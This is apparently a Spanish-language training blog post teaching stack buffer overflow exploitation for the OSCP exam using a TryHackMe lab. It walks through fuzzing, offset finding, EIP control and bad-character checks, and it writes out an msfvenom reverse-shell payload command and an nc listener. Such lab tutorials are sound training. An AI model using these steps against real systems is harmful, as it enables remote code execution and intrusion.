Horario Laboral: De lunes a viernes, de 10AM a 10PM

imagen destacada del post con un texto en el centro que dice Preparación completa para Buffer Overflow en OSCP con TryHackMe y abajo del texto aparece la categoria del post

Introducción: Dominando el Buffer Overflow para certificaciones de ciberseguridad

En el camino hacia certificaciones rigurosas y altamente reconocidas como OSCP o eCPPT, el conocimiento profundo y práctico del buffer overflow es un requisito ineludible. Esta vulnerabilidad sigue siendo uno de los pilares para la explotación en entornos de seguridad ofensiva, permitiendo la ejecución arbitraria de código remoto cuando se explota correctamente. Sin embargo, la complejidad técnica y los numerosos conceptos involucrados pueden dificultar su aprendizaje para principiantes y profesionales en formación.

En este artículo técnico y detallado de Código6, desglosaremos paso a paso el proceso completo de preparación para explotar buffer overflows, desde la identificación inicial hasta la obtención de una reverse shell, utilizando herramientas prácticas y técnicas comunes en los laboratorios de TryHackMe y las pruebas de certificación OSCP. Nuestro objetivo es simplificar y clarificar cada etapa, integrando buenas prácticas, advertencias y explicaciones técnicas que garanticen una comprensión sólida y aplicable.

1. Comprendiendo la Base: ¿Qué es un Buffer Overflow?

Un buffer overflow ocurre cuando un programa almacena datos en un búfer (un área de memoria temporal) y se excede la capacidad asignada, causando que los datos se desborden hacia áreas adyacentes de memoria. Esto puede provocar desde errores inesperados y caídas del programa, hasta la posibilidad de ejecutar código malicioso si se controla la sobreescritura.

Se explota típicamente para tomar control del flujo de ejecución del programa, especialmente manipulando el registro de instrucción o program counter (EIP en sistemas x86). Por lo tanto, tener dominio sobre este concepto es crucial para quienes desean certificar su pericia en pentesting.

2. Entorno y Requisitos Previos

2.1 La Máquina Virtual Windows y la Aplicación Vulnerable

En la práctica, es necesario replicar un entorno vulnerable, lo cual en escenarios de OSCP suele implicar el uso de una máquina virtual Windows que ejecuta la aplicación objetivo. Esto es necesario porque muchas herramientas de depuración, como Immunity Debugger, están disponibles únicamente en Windows.

  • Sistema operativo Windows: para correr Immunity Debugger y la aplicación vulnerable.
  • Aplicativo vulnerable: ejecutable que escucha en el puerto 1337 ofreciendo comandos vulnerables tipo overflow 1, overflow 2, etc.

2.2 Herramientas imprescindibles

  • Immunity Debugger: depurador especializado para analizar comportamientos, encontrar offsets y analizar crashes.
  • Netcat: para probar conexiones y enviar datos manualmente.
  • Python 3: lenguaje para crear scripts que automatizan la explotación.
  • msf-pattern_create y msf-pattern_offset: para generar y analizar patrones que ayudan a identificar offsets precisos.
  • Mona.py: plugin de Immunity que facilita la búsqueda de direcciones para salto (jump) en memoria.

3. Primeros Pasos: Comunicación con la Aplicación Vulnerable

Antes de intentar explotar cualquier vulnerabilidad, debemos confirmar que podemos comunicarnos correctamente con la aplicación objetivo.

  • Usando netcat, conectamos manualmente al puerto 1337 de la IP de la máquina Windows.
  • Al enviar comandos, la aplicación responde con mensajes confirmando la ejecución.
  • Probamos ingresar cadenas simples para validar que la aplicación está lista para recibir datos.

Realizar esta comprobación evitará errores comunes durante la explotación, como fallos por falta de conexión o puertos cerrados.

4. La Primera Prueba de Buffer Overflow: Crash Controlado

Se utiliza Python para enviar cadenas de caracteres voluminosas (por ejemplo, 1000 o 2000 “A”s) para observar cuándo la aplicación falla o se cae. Es clave entender que para provocar el buffer overflow y detectar el crash, debe enviarse una cantidad de datos que supere el tamaño del buffer asignado.

  • Con 1000 caracteres, la aplicación responde correctamente.
  • Con 2000 caracteres, el programa se bloquea mostrando un mensaje de error, indicando una vulnerabilidad explotable.

Este paso es fundamental para confirmar que la aplicación tiene una falla de buffer overflow real y para determinar el rango de datos que se deben manipular.

5. Desarrollo de un Script Básico en Python para Automatizar la Conexión

Para mejorar la prueba y preparar el terreno para la explotación, se crea un script en Python 3 que:

  • Establece una conexión socket TCP al servicio vulnerable.
  • Envía un payload — inicialmente vacío y luego personalizado según tests.
  • Maneja excepciones e imprime errores en caso de fallos de conexión.
  • Cierra la conexión correctamente.

Este script permite iterar rápidamente sobre distintos payloads, mejorando la eficiencia del pentester.

Ejemplo básico de conexión y envío de payload

#!/usr/bin/env python3 import socket import sys try: s = socket.socket() s.connect(("10.10.56.85", 1337)) payload = b"" # Aquí se agregará el payload más adelante s.send(payload) s.close() except: print("No se pudo conectar con el servidor") sys.exit()

6. Identificando el Offset: Uso de msf-pattern_create y msf-pattern_offset

Para controlar el registro EIP es necesario saber con exactitud en qué posición dentro de nuestro payload se sobreescribe dicho registro. La técnica consiste en:

  1. Generar un patrón único y sin repetición con msf-pattern_create -l 2000.
  2. Enviar este patrón a la aplicación para provocar el crash.
  3. Observar en Immunity Debugger el valor hexadecimal sobrescrito en EIP.
  4. Usar msf-pattern_offset para saber la posición del offset.

Este proceso permite reemplazar valores arbitrarios por direcciones de salto que nos darán control total sobre el flujo del programa.

7. Tomando Control sobre EIP y Explorando Espacio para el Shellcode

Una vez identificado el offset, se envía un patrón especial que inserte caracteres distintivos (como “B” o “C”) para confirmar el control sobre el registro EIP y los registros adyacentes (como ESP).

  • Enviar “A” repetidos hasta el offset y luego 4 “B”s para correr EIP.
  • Luego agregar 100 “C”s para verificar su ubicación en ESP.

Esta información es crítica para saber dónde colocar el shellcode y cómo redirigir el flujo de ejecución mediante un salto a ESP.

Nuclei uso y creación de templates para pentest y bug bountyNuclei uso y creación de templates para pentest y bug bounty

8. Uso de Mona.py para Localizar Instrucciones de Salto (jmp esp)

Mona.py es un plugin para Immunity Debugger que permite identificar en el ejecutable y sus librerías direcciones útiles desde donde ejecutar un salto a ESP, es decir, donde el flujo puede redirigirse hacia nuestro shellcode ubicado en ESP.

  • Ejecutar comando !mona jmp -r esp para listar direcciones disponibles.
  • Elegir direcciones que no tengan protecciones adicionales (ASLR, SafeSEH, rebasing).
  • Convertir la dirección elegida a formato Little Endian.

Tabla comparativa de características a considerar en direcciones saltos

Dirección ASLR SafeSEH Rebase Explotabilidad
0x625011af False False False Alta
Otras True True True Baja

9. Comprobando Saltos con Breakpoints en Immunity Debugger

Antes de continuar, se recomienda colocar un breakpoint en la dirección encontrada para validar que al ejecutar el script de explotación, el flujo realmente llegue a esa dirección correctamente y se active el salto a ESP.

Esto se puede hacer desde la interfaz de Immunity Debugger con Ctrl+G para ir a la dirección y F2 para colocar el breakpoint.

10. Identificación y Manejo de Bad Characters

Los “bad characters” son bytes que el programa vulnerable no acepta o trata de manera especial, causando alteraciones o fallos en la ejecución del shellcode.

  • Para encontrarlos, se envía un rango completo de caracteres desde \x01 hasta \xFF.
  • Se observa en Immunity Debugger qué caracteres sufren modificaciones usando el dump hexadecimal.
  • Los caracteres que se alteran o no coinciden con los enviados serán considerados badchars y deben excluirse del shellcode.

Además del análisis, siempre se debería evitar \x00 (null byte) y otros caracteres como \x0A (newline), \x0D (carriage return).

11. Creación de Payload con msfvenom sin Bad Characters

Una vez identificados los bad characters, se genera un shellcode personalizado con msfvenom excluyendo esos caracteres en el payload. Ejemplo:

msfvenom -p windows/shell_reverse_tcp LHOST=10.17.41.9 LPORT=4444 -b "\x00\x07\x08\x0a\x0d\x2e\x2f\xa0\xa1" -f python

Este código se integra al script Python en el lugar donde se codificaba el payload para asegurar su ejecución correcta sin alteraciones.

12. Uso de NOP Sled para Asegurar la Ejecución del Shellcode

Se inserta una serie de instrucciones NOP (\x90) antes del shellcode para crear un “terreno seguro” donde el saltos pueden aterrizar sin que se pierda la ejecución, aumentando la probabilidad de éxito.

  • La longitud del NOP sled puede variar, pero suele ser recomendable entre 16 y 32 bytes.
  • Sirve para compensar pequeñas desviaciones en el salto a la dirección del shellcode.

13. Ejecución Final y Recepción de la Reverse Shell

Con el script final listo, se realiza lo siguiente:

  1. Se inicia un listener con Netcat (nc -nvlp 4444).
  2. Se ejecuta el script Python con el payload elaborado.
  3. Si todo está correcto, se recibe una shell remota con permisos de usuario en la máquina vulnerable.

Este es el objetivo final y la prueba palpable de que la explotación fue exitosa.

14. Advertencias y Buenas Prácticas

  • Paciencia y precisión: El proceso requiere varios reintentos ajustando payloads, offsets, y examinando resultados.
  • Evitar errores comunes: No olvidar la estructura correcta del comando, incluir espacios necesarios y enviar los datos en formato byte.
  • Documentar cada paso: Guardar scripts, resultados y configuraciones para replicar o modificar posteriormente.
  • Seguridad: Utilizar entornos aislados y máquinas virtuales para evitar comprometer sistemas reales.

15. Palabras Clave y Conceptos Fundamentales

Buffer Overflow

Es la vulnerabilidad donde un programa escribe más datos de los que su buffer puede contener, afectando áreas críticas de memoria. Entender su funcionamiento es esencial para crear exploits que modifiquen el flujo de ejecución.

EIP (Instruction Pointer)

Registro que contiene la dirección de la próxima instrucción a ejecutar. Controlar EIP permite redirigir el programa a ejecutar código malicioso insertado.

Cyclic Patterns (Patrones Cíclicos)

Secuencias creadas sin repeticiones que permiten identificar el offset exacto donde se sobrescribe EIP tras un crash.

Immunity Debugger

Herramienta de depuración que muestra los registros, memoria y ejecución del programa, facilitando la identificación de la ubicación del crash y análisis de la vulnerabilidad.

Mona.py

Plugin para Immunity que automatiza la búsqueda de direcciones útiles dentro del binario, como saltos a registros especificados.

La batalla definitiva en el Sarlaac de Family Guy It’s a TrapLa batalla definitiva en el Sarlaac de Family Guy It’s a Trap

Bad Characters

Bytes que el programa vulnerable no procesa correctamente y que pueden corromper o inutilizar el exploit.

Shellcode

Secuencia de instrucciones que realiza una acción específica, por ejemplo, abrir una reverse shell. Debe ser compatible con el entorno y libre de bad characters.

NOP Sled

Conjunto de instrucciones NOP para asegurar la correcta ejecución del shellcode.

Reverse Shell

Conexión a la inversa desde la máquina víctima hacia el atacante, otorgando control remoto.

Recursos adicionales para profundizar

Si querés complementar este proceso con un recurso dinámico y bien explicado, te invitamos a ver el siguiente video que acompaña el tutorial y desarrolla estos pasos con ejemplos prácticos y demostraciones reales.

Preguntas Frecuentes (FAQ)

¿Por qué es importante validar la conexión antes de enviar el payload?

Validar la conexión asegura que la aplicación está disponible y que el puerto está abierto, lo cual evita pérdida de tiempo y errores en el proceso de explotación. Además, es indispensable para confirmar que el entorno está correctamente configurado.

¿Cómo sé si el crash que obtuve es por buffer overflow y no otro tipo de error?

Un crash con mensajes típicos como “segmentation fault” o “access violation” después de enviar datos excesivos suele indicar un buffer overflow. También, si el registro EIP es sobreescrito con datos controlados (como parte del payload), es un claro indicio.

¿Qué diferencias hay entre Immunity Debugger y otros depuradores?

Immunity está optimizado para explotación en Windows, con soporte para scripts Python y plugins como Mona que facilitan tareas comunes en pentesting. Otros depuradores pueden carecer de estas funcionalidades o no ser compatibles con este tipo de análisis.

¿Cómo determino qué bad characters evitar para mi shellcode?

Debes enviar un rango completo de caracteres a la aplicación y analizar cuál altera la memoria. Es indispensable documentar estos para generar un shellcode válido con msfvenom que excluya estos bytes.

¿Qué pasa si no agrego un NOP sled en mi exploit?

Sin un NOP sled, el salto puede aterrizar en una instrucción errónea, causando fallo en la ejecución del shellcode o inestabilidad, por lo que se recomienda siempre añadir un NOP sled de tamaño suficiente.

¿Puedo reutilizar este método para otros binarios o ejercicios?

Sí. La metodología es estándar y puede adaptarse con los cambios necesarios para distintos binarios, siempre que se haga la identificación correcta de offsets, bad chars y direcciones de salto.

¿Cuál es el error más común al iniciar con buffer overflows?

No incluir correctamente el espacio o los comandos necesarios en el envío del payload, o enviar los datos sin convertirlos a bytes, son errores frecuentes que impiden la explotación.

¿Por qué convertir direcciones a Little Endian y cómo hacerlo?

Windows usa arquitectura Little Endian, por lo que las direcciones deben invertir el orden de bytes para ser interpretadas correctamente. Esto se puede hacer manualmente o con funciones en Python que convierten enteros a formato little endian.

Conclusión

El dominio del buffer overflow requiere conocer desde el entorno de trabajo hasta la manipulación precisa de los registros y memoria del sistema. En este artículo hemos cubierto todo el flujo, desde montar la conexión inicial hasta obtener una shell remota, con énfasis en la automatización mediante scripts Python y el uso de herramientas clave.

Si querés implementar este tipo de soluciones en tu empresa o proyecto de seguridad informática, en Código6 podemos ayudarte. Somos especialistas en automatización, inteligencia artificial y transformación digital. Contactanos para comenzar tu proyecto hoy.

Introducción a Buffer Overflows concepto completo y detalladoIntroducción a Buffer Overflows concepto completo y detallado
Share

Leave A Comment

Descubre el Poder de la IA

Sumérgete en una experiencia transformadora hacia el futuro de la innovación, explorando el potencial ilimitado de la inteligencia artificial en cada interacción.

At Power AI, we offer affordable and comprehensive range of AI solutions, that empower drive growth, and enhance efficiency to meet your unique needs.

Join Our Newsletter

We will send you weekly updates for your better Product management.

© 2025 Codigo6 All Rights Reserved.